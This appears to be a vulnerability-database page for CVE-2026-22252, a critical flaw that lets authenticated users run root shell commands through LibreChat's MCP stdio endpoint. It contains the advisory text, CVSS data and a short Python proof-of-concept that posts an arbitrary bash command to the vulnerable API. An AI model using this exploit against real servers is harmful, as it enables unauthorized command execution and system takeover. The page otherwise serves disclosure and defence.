Security Vulnerability Report
中文
CVE-2026-22252 CVSS 9.1 CRITICAL

CVE-2026-22252

Published: 2026-01-12 19:16:03
Last Modified: 2026-01-15 22:46:28

Description

LibreChat is a ChatGPT clone with additional features. Prior to v0.8.2-rc2, LibreChat's MCP stdio transport accepts arbitrary commands without validation, allowing any authenticated user to execute shell commands as root inside the container through a single API request. This vulnerability is fixed in v0.8.2-rc2.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:librechat:librechat:0.8.2:rc1:*:*:*:*:*:* - VULNERABLE
LibreChat < v0.8.2-rc2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-22252 LibreChat MCP stdio RCE PoC # Target: LibreChat < v0.8.2-rc2 target_url = "http://target-server:3000" api_endpoint = f"{target_url}/api/mcp/stdio" # Attacker-controlled command execution via MCP stdio transport # The vulnerability allows authenticated users to execute arbitrary shell commands as root malicious_payload = { "type": "stdio", "command": "bash -c 'touch /tmp/pwned && id'", # Inject arbitrary command "timeout": 5000 } headers = { "Content-Type": "application/json", "Authorization": "Bearer <authenticated_user_token>" } try: response = requests.post(api_endpoint, json=malicious_payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22252", "sourceIdentifier": "[email protected]", "published": "2026-01-12T19:16:03.200", "lastModified": "2026-01-15T22:46:28.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. Prior to v0.8.2-rc2, LibreChat's MCP stdio transport accepts arbitrary commands without validation, allowing any authenticated user to execute shell commands as root inside the container through a single API request. This vulnerability is fixed in v0.8.2-rc2."}, {"lang": "es", "value": "LibreChat es un clon de ChatGPT con características adicionales. Antes de la v0.8.2-rc2, el transporte MCP stdio de LibreChat acepta comandos arbitrarios sin validación, permitiendo a cualquier usuario autenticado ejecutar comandos de shell como root dentro del contenedor a través de una única solicitud de API. Esta vulnerabilidad está corregida en la v0.8.2-rc2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc1:*:*:*:*:*:*", "matchCriteriaId": "8E26DE8F-E11A-4052-B9FE-59AD6B9AFD03"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/commit/211b39f3113d4e6ecab84be0a83f4e9c9dea127f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-cxhj-j78r-p88f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}